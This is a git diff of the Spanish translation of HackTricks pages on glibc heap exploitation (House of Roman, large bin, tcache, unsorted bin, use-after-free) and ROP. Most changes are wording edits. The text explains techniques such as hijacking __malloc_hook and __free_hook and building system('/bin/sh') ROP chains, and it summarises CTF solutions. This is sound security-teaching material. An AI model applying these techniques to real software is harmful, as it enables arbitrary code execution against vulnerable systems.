puntero a `main_arena + 0x68` en ambos punteros `fd` y `bk`. Ahora se asigna un nuevo chunk `fake_libc_chunk(0x60)` porque contendrá los punteros a `main_arena + 0x68` en `fd` y `bk`. -Luego `relative_offset_heap` y `fastbin_victim` son liberados. +Luego se liberan `relative_offset_heap` y `fastbin_victim`. ```c /* Current heap layout: @@ -49,13 +49,13 @@ fastbin: fastbin_victim -> relative_offset_heap unsorted: leftover_main */ ``` -- `fastbin_victim` tiene un `fd` apuntando a `relative_offset_heap` +- `fastbin_victim` tiene un `fd` que apunta a `relative_offset_heap` - `relative_offset_heap` es un offset de distancia desde `fake_libc_chunk`, que contiene un puntero a `main_arena + 0x68` - Solo cambiando el último byte de `fastbin_victim.fd` es posible hacer que `fastbin_victim` apunte a `main_arena + 0x68` Para las acciones anteriores, el atacante necesita ser capaz de modificar el puntero fd de `fastbin_victim`. -Entonces, `main_arena + 0x68` no es tan interesante, así que lo modificamos para que el puntero apunte a **`__malloc_hook`**. +Entonces, `main_arena + 0x68` no es tan interesante, así que modifiquémoslo para que el puntero apunte a **`__malloc_hook`**. Nota que `__memalign_hook` generalmente comienza con `0x7f` y ceros antes de él, por lo que es posible falsificarlo como un valor en el fast bin `0x70`. Debido a que los últimos 4 bits de la dirección son **aleatorios**, hay `2^4=16` posibilidades para que el valor termine apuntando a donde nos interesa. Así que se realiza un ataque BF aquí para que el chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** @@ -86,10 +86,10 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` -Usa un UAF en este bloque para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (esto lo forzamos previamente). +Usa un UAF en este fragmento para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (esto lo forzamos previamente). > [!CAUTION] -> Ten en cuenta que este ataque corrompe el bin no ordenado (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.** +> Ten en cuenta que este ataque corrompe el bin sin ordenar (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.** Entonces, para activar la escritura de `main_arena + 0x68` en `__malloc_hook`, después de establecer `__malloc_hook` en `unsorted_bin_ptr->bk`, solo necesitamos hacer: **`malloc(0x80)`** @@ -97,9 +97,9 @@ Entonces, para activar la escritura de `main_arena + 0x68` en `__malloc_hook`, d En el primer paso terminamos controlando un chunk que contiene `__malloc_hook` (en la variable `malloc_hook_chunk`) y en el segundo paso logramos escribir `main_arena + 0x68` aquí. -Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección `one_gadget`**. +Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección de `one_gadget`**. -Aquí es donde se necesita **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +Aquí es donde es necesario **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Finalmente, una vez que la dirección correcta es sobrescrita, **llama a `malloc` y activa el `one_gadget`**. diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index 0fd49622d..b89552180 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Información Básica +## Basic Information Para más información sobre qué es un large bin, consulta esta página: @@ -18,15 +18,15 @@ En ese ejemplo puedes encontrar las siguientes condiciones: - Se asigna un chunk grande - Se asigna un chunk grande más pequeño que el primero pero en el mismo índice -- Debe ser más pequeño, así que debe ir primero en el bin +- Debe ser más pequeño, así que en el bin debe ir primero - (Se crea un chunk para evitar la fusión con el chunk superior) - Luego, se libera el primer chunk grande y se asigna un nuevo chunk más grande que él -> Chunk1 va al large bin - Luego, se libera el segundo chunk grande - Ahora, la vulnerabilidad: El atacante puede modificar `chunk1->bk_nextsize` a `[target-0x20]` -- Luego, se asigna un chunk más grande que el chunk 2, por lo que chunk2 se inserta en el large bin sobrescribiendo la dirección `chunk1->bk_nextsize->fd_nextsize` con la dirección de chunk2 +- Luego, se asigna un chunk más grande que chunk 2, por lo que chunk2 se inserta en el large bin sobrescribiendo la dirección `chunk1->bk_nextsize->fd_nextsize` con la dirección de chunk2 > [!TIP] -> Hay otros escenarios potenciales, la cuestión es añadir al large bin un chunk que sea **más pequeño** que un chunk X actual en el bin, por lo que debe insertarse justo antes de él en el bin, y necesitamos poder modificar **`bk_nextsize`** de X, ya que ahí es donde se escribirá la dirección del chunk más pequeño. +> Hay otros escenarios potenciales, la cuestión es añadir al large bin un chunk que sea **más pequeño** que un chunk X actual en el bin, por lo que debe ser insertado justo antes de él en el bin, y necesitamos poder modificar **`bk_nextsize`** de X ya que ahí es donde se escribirá la dirección del chunk más pequeño. Este es el código relevante de malloc. Se han añadido comentarios para entender mejor cómo se sobrescribió la dirección: ```c diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index c599f7f0d..02f66964b 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -18,30 +18,30 @@ Sin embargo, hoy en día, si ejecutas el código mencionado, obtendrás el error ### Ataque de índices Tcache -Por lo general, es posible encontrar al principio del heap un chunk que contiene la **cantidad de chunks por índice** dentro del tcache y la dirección del **chunk cabeza de cada índice de tcache**. Si por alguna razón es posible modificar esta información, sería posible **hacer que el chunk cabeza de algún índice apunte a una dirección deseada** (como `__malloc_hook`) para luego asignar un chunk del tamaño del índice y sobrescribir el contenido de `__malloc_hook` en este caso. +Por lo general, es posible encontrar al principio del heap un chunk que contiene la **cantidad de chunks por índice** dentro del tcache y la dirección del **chunk cabeza de cada índice tcache**. Si por alguna razón es posible modificar esta información, sería posible **hacer que el chunk cabeza de algún índice apunte a una dirección deseada** (como `__malloc_hook`) para luego asignar un chunk del tamaño del índice y sobrescribir el contenido de `__malloc_hook` en este caso. ## Ejemplos - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) -- **Fuga de información de Libc**: Es posible llenar los tcaches, agregar un chunk a la lista no ordenada, vaciar el tcache y **re-asignar el chunk de la bin no ordenada** solo sobrescribiendo los primeros 8B, dejando la **segunda dirección a libc del chunk intacta para que podamos leerla**. -- **Ataque Tcache**: El binario es vulnerable a un desbordamiento de heap de 1B. Esto se abusará para cambiar el **encabezado de tamaño** de un chunk asignado haciéndolo más grande. Luego, este chunk será **liberado**, agregándolo al tcache de chunks de tamaño falso. Después, asignaremos un chunk con el tamaño falso, y el chunk anterior será **devuelto sabiendo que este chunk era en realidad más pequeño** y esto brinda la oportunidad de **sobrescribir el siguiente chunk en memoria**.\ -Abusaremos de esto para **sobrescribir el puntero FD del siguiente chunk** para que apunte a **`malloc_hook`**, de modo que luego sea posible asignar 2 punteros: primero el puntero legítimo que acabamos de modificar, y luego la segunda asignación devolverá un chunk en **`malloc_hook`** que se puede abusar para escribir un **one gadget**. +- **Fuga de información de Libc**: Es posible llenar los tcaches, agregar un chunk a la lista no ordenada, vaciar el tcache y **re-asignar el chunk desde el bin no ordenado** sobrescribiendo solo los primeros 8B, dejando la **segunda dirección a libc del chunk intacta para que podamos leerla**. +- **Ataque Tcache**: El binario es vulnerable a un desbordamiento de heap de 1B. Esto se abusará para cambiar el **encabezado de tamaño** de un chunk asignado haciéndolo más grande. Luego, este chunk será **liberado**, añadiéndolo al tcache de chunks de tamaño falso. Después, asignaremos un chunk con el tamaño falso, y el chunk anterior será **devuelto sabiendo que este chunk era en realidad más pequeño** y esto brinda la oportunidad de **sobrescribir el siguiente chunk en memoria**.\ +Abusaremos de esto para **sobrescribir el puntero FD del siguiente chunk** para que apunte a **`malloc_hook`**, de modo que luego sea posible asignar 2 punteros: primero el puntero legítimo que acabamos de modificar, y luego la segunda asignación devolverá un chunk en **`malloc_hook`** que es posible abusar para escribir un **one gadget**. - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) -- **Fuga de información de Libc**: Hay un uso después de liberar y un doble liberado. En este informe, el autor filtró una dirección de libc al leer la dirección de un chunk colocado en un bin pequeño (como filtrarlo de la bin no ordenada pero del pequeño). +- **Fuga de información de Libc**: Hay un uso después de liberar y un doble liberado. En este informe, el autor filtró una dirección de libc al leer la dirección de un chunk colocado en un bin pequeño (como filtrarlo desde el bin no ordenado pero desde el pequeño). - **Ataque Tcache**: Se realiza un Tcache a través de un **doble liberado**. El mismo chunk se libera dos veces, por lo que dentro del Tcache el chunk apuntará a sí mismo. Luego, se asigna, su puntero FD se modifica para apuntar al **free hook** y luego se asigna nuevamente, por lo que el siguiente chunk en la lista estará en el free hook. Luego, esto también se asigna y es posible escribir la dirección de `system` aquí, por lo que cuando se libera un malloc que contiene `"/bin/sh"` obtenemos un shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - La principal vulnerabilidad aquí es la capacidad de `free` cualquier dirección en el heap indicando su desplazamiento. -- **Ataque de índices Tcache**: Es posible asignar y liberar un chunk de un tamaño que, cuando se almacena dentro del chunk tcache (el chunk con la información de los bins de tcache), generará una **dirección con el valor 0x100**. Esto se debe a que el tcache almacena la cantidad de chunks en cada bin en diferentes bytes, por lo tanto, un chunk en un índice específico genera el valor 0x100. +- **Ataque de índices Tcache**: Es posible asignar y liberar un chunk de un tamaño que, cuando se almacena dentro del chunk tcache (el chunk con la información de los bins tcache), generará una **dirección con el valor 0x100**. Esto se debe a que el tcache almacena la cantidad de chunks en cada bin en diferentes bytes, por lo tanto, un chunk en un índice específico genera el valor 0x100. - Luego, este valor parece que hay un chunk de tamaño 0x100. Permitiendo abusar de él al `free` esta dirección. Esto **agregará esa dirección al índice de chunks de tamaño 0x100 en el tcache**. -- Luego, **asignando** un chunk de tamaño **0x100**, la dirección anterior será devuelta como un chunk, permitiendo sobrescribir otros índices de tcache.\ +- Luego, **asignando** un chunk de tamaño **0x100**, la dirección anterior será devuelta como un chunk, permitiendo sobrescribir otros índices tcache.\ Por ejemplo, poniendo la dirección de malloc hook en uno de ellos y asignando un chunk del tamaño de ese índice otorgará un chunk en calloc hook, lo que permite escribir un one gadget para obtener un shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - La misma vulnerabilidad que antes con una restricción adicional. -- **Ataque de índices Tcache**: Ataque similar al anterior pero utilizando menos pasos al **liberar el chunk que contiene la información de tcache** para que su dirección se agregue al índice de tcache de su tamaño, por lo que es posible asignar ese tamaño y obtener la información del chunk de tcache como un chunk, lo que permite agregar el free hook como la dirección de un índice, asignarlo y escribir un one gadget en él. +- **Ataque de índices Tcache**: Ataque similar al anterior pero utilizando menos pasos al **liberar el chunk que contiene la información del tcache** para que su dirección se agregue al índice tcache de su tamaño, por lo que es posible asignar ese tamaño y obtener la información del chunk tcache como un chunk, lo que permite agregar el free hook como la dirección de un índice, asignarlo y escribir un one gadget en él. - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - **Escritura después de liberar** para agregar un número al puntero `fd`. - Se necesita mucho **heap feng-shui** en este desafío. El informe muestra cómo **controlar la cabeza de la lista libre de Tcache** es bastante útil. - **Fuga de Glibc** a través de `stdout` (FSOP). -- **Envenenamiento de Tcache** para obtener un primitivo de escritura arbitraria. +- **Envenenamiento de Tcache** para obtener una escritura arbitraria. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 05950f1a3..9cc86dfdb 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -15,12 +15,12 @@ Las listas no ordenadas pueden escribir la dirección en `unsorted_chunks (av)` Así que, básicamente, este ataque permite **establecer un número grande en una dirección arbitraria**. Este número grande es una dirección, que podría ser una dirección de heap o una dirección de Glibc. Un objetivo típico es **`global_max_fast`** para permitir crear bins de fast bin con tamaños más grandes (y pasar de un ataque de unsorted bin a un ataque de fast bin). > [!TIP] -> E> chando un vistazo al ejemplo proporcionado en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) y usando 0x4000 y 0x5000 en lugar de 0x400 y 0x500 como tamaños de chunk (para evitar Tcache), es posible ver que **hoy en día** el error **`malloc(): unsorted double linked list corrupted`** se activa. +> E> chando un vistazo al ejemplo proporcionado en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) y usando 0x4000 y 0x5000 en lugar de 0x400 y 0x500 como tamaños de chunk (para evitar Tcache), es posible ver que **hoy en día** se activa el error **`malloc(): unsorted double linked list corrupted`**. > -> Por lo tanto, este ataque de unsorted bin ahora (entre otras verificaciones) también requiere poder arreglar la lista doblemente enlazada para que esto se eluda `victim->bk->fd == victim` o no `victim->fd == av (arena)`, lo que significa que la dirección donde queremos escribir debe tener la dirección del chunk falso en su posición `fd` y que el `fd` del chunk falso apunta a la arena. +> Por lo tanto, este ataque de unsorted bin ahora (entre otras comprobaciones) también requiere poder arreglar la lista doblemente enlazada para que esto se eluda `victim->bk->fd == victim` o no `victim->fd == av (arena)`, lo que significa que la dirección donde queremos escribir debe tener la dirección del chunk falso en su posición `fd` y que el `fd` del chunk falso apunta a la arena. > [!CAUTION] -> Ten en cuenta que este ataque corrompe el unsorted bin (por lo tanto, también pequeños y grandes). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.** +> Ten en cuenta que este ataque corrompe el unsorted bin (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.** > > Ten en cuenta que sobrescribir **`global_max_fast`** podría ayudar en este caso confiando en que el fast bin podrá encargarse de todas las otras asignaciones hasta que se complete el exploit. @@ -31,7 +31,7 @@ El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_a Este es en realidad un concepto muy básico. Los chunks en el unsorted bin van a tener punteros. El primer chunk en el unsorted bin tendrá en realidad los enlaces **`fd`** y **`bk`** **apuntando a una parte de la arena principal (Glibc)**.\ Por lo tanto, si puedes **poner un chunk dentro de un unsorted bin y leerlo** (uso después de liberar) o **asignarlo de nuevo sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes tener una **fuga de información de Glibc**. -Un [**ataque similar utilizado en este informe**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) fue abusar de una estructura de 4 chunks (A, B, C y D - D es solo para prevenir la consolidación con el chunk superior) así que se utilizó un desbordamiento de byte nulo en B para hacer que C indicara que B no estaba en uso. Además, en B se modificó el dato `prev_size` para que el tamaño en lugar de ser el tamaño de B fuera A+B.\ +Un [**ataque similar utilizado en este informe**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) fue abusar de una estructura de 4 chunks (A, B, C y D - D es solo para evitar la consolidación con el chunk superior) así que se utilizó un desbordamiento de byte nulo en B para hacer que C indicara que B no estaba en uso. Además, en B se modificaron los datos de `prev_size` para que el tamaño en lugar de ser el tamaño de B fuera A+B.\ Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se asignó un nuevo chunk de tamaño A y luego se escribieron las direcciones de libc filtradas en B desde donde fueron filtradas. ## References & Other examples @@ -44,10 +44,10 @@ Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se as - Luego, chunk3 se asigna con el mismo tamaño que chunk1, lo que activará el ataque de unsorted bin y modificará el valor de la variable global, haciendo posible obtener la bandera. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - La función de fusión es vulnerable porque si ambos índices pasados son el mismo, se reasignará sobre él y luego se liberará, pero devolviendo un puntero a esa región liberada que se puede usar. -- Por lo tanto, **se crean 2 chunks**: **chunk0** que se fusionará consigo mismo y chunk1 para evitar consolidar con el chunk superior. Luego, se **llama a la función de fusión con chunk0** dos veces, lo que causará un uso después de liberar. +- Por lo tanto, **se crean 2 chunks**: **chunk0** que se fusionará consigo mismo y chunk1 para evitar la consolidación con el chunk superior. Luego, se **llama a la función de fusión con chunk0** dos veces, lo que causará un uso después de liberar. - Luego, se llama a la función **`view`** con el índice 2 (que es el índice del chunk de uso después de liberar), lo que **filtrará una dirección de libc**. -- Como el binario tiene protecciones para solo malloc tamaños mayores que **`global_max_fast`**, por lo que no se usa fastbin, se va a usar un ataque de unsorted bin para sobrescribir la variable global `global_max_fast`. -- Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, crear un nuevo chunk usará la dirección liberada previamente comprometida (0x20) que **activará el ataque de unsorted bin** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins. +- Como el binario tiene protecciones para solo malloc tamaños mayores que **`global_max_fast`**, por lo que no se usa fastbin, se va a utilizar un ataque de unsorted bin para sobrescribir la variable global `global_max_fast`. +- Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, crear un nuevo chunk utilizará la dirección liberada previamente comprometida (0x20) que **activará el ataque de unsorted bin** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins. - Ahora se realiza un **ataque de fast bin**: - Primero, se descubre que es posible trabajar con fast **chunks de tamaño 200** en la ubicación de **`__free_hook`**: -
gef➤  p &__free_hook
@@ -58,13 +58,13 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- Si logramos obtener un fast chunk de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará. +- Si logramos obtener un chunk rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará. - Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función de fusión con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin. -- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función anterior **`__free_hook`**. +- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la anterior función **`__free_hook`**. - Luego, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, por lo que se crea otro chunk de tamaño `0x1f8` para obtener un chunk de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**. - Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Otro ejemplo de abusar de un desbordamiento de 1B para consolidar chunks en el unsorted bin y obtener una fuga de información de libc y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget. +- Otro ejemplo de abusar de un desbordamiento de 1B para consolidar chunks en el unsorted bin y obtener una fuga de información de libc y luego realizar un ataque de fast bin para sobrescribir el malloc hook con una dirección de one gadget. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - Solo podemos asignar chunks de tamaño mayor que `0x100`. - Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits). diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index 9a8ef5e08..fe2e8e9e5 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -4,9 +4,9 @@ ## Información Básica -Como su nombre indica, esta vulnerabilidad ocurre cuando un programa **almacena algún espacio** en el heap para un objeto, **escribe** alguna información allí, **libera** aparentemente porque ya no se necesita y luego **accede a él nuevamente**. +Como su nombre indica, esta vulnerabilidad ocurre cuando un programa **almacena algún espacio** en el heap para un objeto, **escribe** algo de información allí, **libera** aparentemente porque ya no se necesita y luego **accede a él nuevamente**. -El problema aquí es que no es ilegal (no **habrá errores**) cuando se **accede a memoria liberada**. Así que, si el programa (o el atacante) logra **asignar la memoria liberada y almacenar datos arbitrarios**, cuando se accede a la memoria liberada desde el puntero inicial, **esos datos habrían sido sobrescritos**, causando una **vulnerabilidad que dependerá de la sensibilidad de los datos** que se almacenaron originalmente (si era un puntero a una función que iba a ser llamada, un atacante podría saber controlarlo). +El problema aquí es que no es ilegal (no **habrá errores**) cuando se **accede a memoria liberada**. Así que, si el programa (o el atacante) logra **asignar la memoria liberada y almacenar datos arbitrarios**, cuando se accede a la memoria liberada desde el puntero inicial, **esos datos habrían sido sobrescritos**, causando una **vulnerabilidad que dependerá de la sensibilidad de los datos** que se almacenaron originalmente (si era un puntero de una función que iba a ser llamada, un atacante podría saber controlarlo). ### Ataque de Primer Ajuste diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 533236878..984603014 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -9,12 +9,12 @@ ### Cómo Funciona ROP 1. **Secuestro del Flujo de Control**: Primero, un atacante necesita secuestrar el flujo de control de un programa, típicamente explotando un desbordamiento de búfer para sobrescribir una dirección de retorno guardada en la pila. -2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza necesaria o operaciones adicionales. +2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza necesaria u operaciones adicionales. 3. **Ejecución de la Carga Útil**: Cuando la función vulnerable retorna, en lugar de regresar a una ubicación legítima, comienza a ejecutar la cadena de gadgets. ### Herramientas -Típicamente, los gadgets se pueden encontrar usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o directamente desde **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). +Típicamente, los gadgets se pueden encontrar utilizando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o directamente desde **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). ## Ejemplo de Cadena ROP en x86 @@ -29,14 +29,14 @@ Primero, supongamos que hemos identificado los gadgets necesarios dentro del bin - `pop eax; ret`: Este gadget saca el valor superior de la pila en el registro `EAX` y luego retorna, permitiéndonos controlar `EAX`. - `pop ebx; ret`: Similar al anterior, pero para el registro `EBX`, habilitando el control sobre `EBX`. -- `mov [ebx], eax; ret`: Mueve el valor en `EAX` a la ubicación de memoria apuntada por `EBX` y luego retorna. Esto se llama a menudo un **gadget de escribir-qué-dónde**. +- `mov [ebx], eax; ret`: Mueve el valor en `EAX` a la ubicación de memoria apuntada por `EBX` y luego retorna. Esto se llama a menudo un **gadget de escritura-dónde-qué**. - Además, tenemos la dirección de la función `system()` disponible. ### **Cadena ROP** Usando **pwntools**, preparamos la pila para la ejecución de la cadena ROP de la siguiente manera, con el objetivo de ejecutar `system('/bin/sh')`, nota cómo la cadena comienza con: -1. Una instrucción `ret` para propósitos de alineación (opcional) +1. Una instrucción `ret` por motivos de alineación (opcional) 2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/index.html)) 3. Marcador de posición para la dirección de retorno de `system()` 4. Dirección de la cadena `"/bin/sh"` (parámetro para la función system) @@ -77,11 +77,11 @@ p.interactive() ### **x64 (64 bits) Convenciones de llamada** -- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas tipo Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`. +- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas similares a Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`. - La convención de llamada **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`. -- **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`. +- **Registros**: los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`. -#### **Encontrar Gadgets** +#### **Encontrando Gadgets** Para nuestro propósito, centrémonos en gadgets que nos permitan establecer el registro **RDI** (para pasar la cadena **"/bin/sh"** como argumento a **system()**) y luego llamar a la función **system()**. Supondremos que hemos identificado los siguientes gadgets: @@ -155,14 +155,14 @@ Consulta la siguiente página para esta información: ## Protecciones Contra ROP - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones. -- [**Canarios de Pila**](../common-binary-protections-and-bypasses/stack-canaries/index.html): En caso de un BOF, es necesario eludir el canario de pila para sobrescribir punteros de retorno y abusar de una cadena ROP. +- [**Canarios de Pila**](../common-binary-protections-and-bypasses/stack-canaries/index.html): En caso de un BOF, es necesario eludir el canario de pila almacenado para sobrescribir los punteros de retorno y abusar de una cadena ROP. - **Falta de Gadgets**: Si no hay suficientes gadgets, no será posible generar una cadena ROP. ## Técnicas basadas en ROP Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Basado en ROP se desarrollaron muchas técnicas Ret2XXX: -- **Ret2lib**: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como `system('/bin/sh')`. +- **Ret2lib**: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como `system('/bin/sh')`). {{#ref}} ret2lib/ @@ -184,7 +184,7 @@ rop-syscall-execv/ - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) -- 64 bits, Pie y nx habilitados, sin canario, sobrescribir RIP con una dirección `vsyscall` con el único propósito de regresar a la siguiente dirección en la pila, que será una sobrescritura parcial de la dirección para obtener la parte de la función que filtra la bandera. +- 64 bits, Pie y nx habilitados, sin canario, sobrescribir RIP con una dirección `vsyscall` con el único propósito de regresar a la siguiente dirección en la pila que será una sobrescritura parcial de la dirección para obtener la parte de la función que filtra la bandera. - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila. diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 2211cda52..10ee19ff6 100644 --- 